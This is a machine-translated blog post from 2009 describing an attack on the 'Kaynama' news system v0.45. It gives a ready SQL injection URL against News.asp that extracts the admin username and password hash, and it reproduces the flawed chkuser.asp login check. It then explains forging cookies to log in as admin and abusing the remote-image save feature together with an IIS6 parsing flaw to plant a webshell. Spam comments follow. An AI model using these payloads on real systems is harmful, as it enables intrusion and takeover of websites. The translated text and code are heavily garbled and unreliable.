Kaynama haber sistemi v0.45, kaynama haber sistemi kaynatarak, resim,-st0p blog kaydetmek için uzaktan enjeksiyon, SHELL-IIS6 ayrıştırma açıklarını News.asp alın

Kaynama haber sistemi v0.45 SHELL almak için

Bu yazı 25 Eylül 2009 tarihinde yayınlanmıştır

: St0p
Yayınlanmıştır kaynak belirtiniz: http://www.st0p.org

Not: boşluğu doldurmak için hedef istasyonu yönetici hatırlatmak için.

Hiçbir maddi bir istasyon gönderilen grubu görmek, açık haber sistemi kaynamaya gibi görünüyordu, ama yazılı versiyonu v0.1 ise, internet uygun sürümü bulamadı, 1.1 ve 0.45 iki sürümü vardır, hatırlıyorum enjekte News.asp gerçekten de var, ancak çünkü farklı sürümleri, bu nedenle haber tablo alanının, bütün ifadelerin biraz farklı.

St0p teşebbüs sonra, hedef istasyon arka kullanıcı adı ve parola aşağıdaki deyimi ile HASH başarı 0.45 olmalı, ben 27 alanda başarı çalıştı. .

  http://st0p.org/News.asp?click=1&shu=20% 201% 20as% 20NewsID, username% 20as% 20title,% 3 20as% 20updatetime, passwd% 20as% 20click, 5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27% 20from% 20admin% 20% 20order% 20by% 202% 20desc% 20union% 20select% 20top% 202

Bak, biz kullanıcı adı xcb şifre c95ca278a74775f8 alamadım, ve sonra biz bulmak, depresif, MD5 çatlamak gitti, kıramaz, öne çıkmaya arka girmeyin. . .
Sonra kod 0.45 sürümü kontrol ve admin / chkuser.asp bir parçası kullanıcı girişi doğrulamak bulundu, biz kod bakmak

  <%
 Request . cookies ( "KEY" ) = "super" or Request . cookies ( "KEY" ) = "check" or Request . cookies ( "KEY" ) = "typemaster" or Request . cookies ( "KEY" ) = "bigmaster" or Request . cookies ( "KEY" ) = "smallmaster" or Request . cookies ( "KEY" ) = "selfreg" ) THEN EĞER değil (Request. Cookies ("KEY") = "süper" veya İstek. Çerezler ("KEY") = "onay" veya İstek. Çerezler ("KEY") = "typemaster" veya İstek. Çerezler ("KEY") = "bigmaster" veya İstek. çerezleri ("KEY") = "smallmaster" veya İstek. çerezleri ("KEY") = "SelfReg") THEN
 'İlk tanımlama anahtarı algılar, değilse yukarıdaki değerler için, otomatik olarak açılış sayfası çevirmek
 "login.asp" yanıt "login.asp" redirect
 yanıtı. sonu
 END IF
 server . createobject ( "adodb.recordset" ) set urs = sunucusu. createobject ("ADODB.Recordset")
 & Request. cookies ( "username" ) & "'" sql '& İstek. çerezleri ("username") & "" = "username = admin select * from"'
 'Sorgular çerezleri adınızı yönetimsel kullanıcı olup olmadığıdır
 , 3 urs. açık sql, conn, 1, 3
 urs. eof then sonra urs. bof veya urs. eof eğer
 "login.asp" yanıt "login.asp" redirect
 yanıtı. sonu
 end if
 ( "passwd" ) <> urs ( "passwd" ) THEN İstek. Çerezler ("passwd") <> urs ("passwd") THEN IF
 'Eğer dolandırıcılık çerezleri kullanıcı passwd saha deneyimi ise kullanıcının şifresini HASH farklı direksiyon
 "login.asp" yanıt "login.asp" redirect
 yanıtı. sonu
 END IF
 urs. yakın
 nothing urs = nothing set
 %>

Hey, gerçekten iyi bir şans, bu şifre HASH kırmak için imkansız, ama olsa da sen aldatma gerçekleştirmek için kullanabilirsiniz. Sürecinin kullanımı bak. .
Diye login.asp gidecek ettiğinizde etki alanı açık http://st0p.org/admin/index.asp kullanın

Ve sonra biz reglevel çerezleri silebilir; fullname; amaç; KEY; UserName parçası, sonra UserName ekleyin = xcb; KEY = super; passwd = c95ca278a74775f8, kullanıcı adı ve parola değiştirme, anahtar doğrudan süper kullanabilirsiniz.
Biz değiştirmek için işaret

Ve sonra URL http://st0p.org/admin/index.asp noktaya bağlantı değiştirildi değiştirmek

Arka planda başarılı giriş, hey, bunu doğru söz, doğrudan bu sistem uzaktan resmi kaydetmek için bir işlevi vardır, bizim sunucu üzerinde plug-in resim editörü, adresi o zaman gel ve İlk SHELL toplamak, yazılar ekleyin ve için kullanılan at, insert, kaydet uzaktan görüntüleri seçin. Ve sonra teslim

Sonra biz sadece içinde adres resmi kopyalamak, iyi bir makale eklemek için erişim gerekir. Hedef istasyonunun Sunucu IIS6 ise, yukarıdaki paragrafta da ayrıştırma açıklarını rapor, sadece kullanmak, hehe değildir.
Şimdi midilli kelime var ve neden diyorum yok. . .
Bununla birlikte, hedef istasyonunun izin, sadece yükleme dizin yazılabilir oldukça BT, fakat, aynı zamanda silinemez. . Hakkında o kadar yavaş hiçbir hakkı, ilk kayıt. . .

· Dövüş sanatları Hileleri öğrenin

146 Responses to "SHELL almak için haber sistemi v0.45 kaynamaya

Tarafından Minghacker üzerinde 26 Eylül 2009 | Cevapla
Daniel st0p ~ ~ ~ ~ ibadet
Üzerine icysun tarafından 26 Eylül 2009 | Cevapla
Not sistemi ..
Bu dünya Ya çevrenin Tahvil ..
st0p Cevap:
12:21 de 26 Eylül 2009
Sen bu yapıyorum ki?
Haber sistemi Kaynama ve 0.45,
icysun Cevap:
12:30 26 Eylül 2009
Evet
Üzerine b00lean tarafından 28 Eylül 2009 | Cevapla
st0p sığır okulumuzun değil nasıl gitmek değil
By jshfuitg üzerinde 25 Kasım 2009 | Cevapla
dCATec qhuvtpiheyue , [url = http://ggwyligshlfd.com/ ggwyligshlfd [/ url], [link = http://nxjhtastnpxn.com/] nxjhtastnpxn [/ link], http://kwxzxruczflr.com/
By adkpaxv üzerinde 27 Kasım 2009 | Cevapla
T9v9E0 oihbhcyxrstd , [url = http://ztggdtdbkkjc.com/ ztggdtdbkkjc [/ url], [link = http://haboolnldgjd.com/] haboolnldgjd [/ link], http://zsjtcxcsvmjj.com/
Tarafından Seengart üzerinde 14 Aralık 2009 | Cevapla
eh .. bu düşünceler için teşekkür ederim )
Üzerine FarmerLupe33 tarafından 4 Kasım 2011 | Yanıtla
Krediler, kendi kariyerine başlamak isteyen insanlar için yararlı olabilmesi için, görünüyor. bir gerçek olarak, bu ticari bir kredi almak zor değil.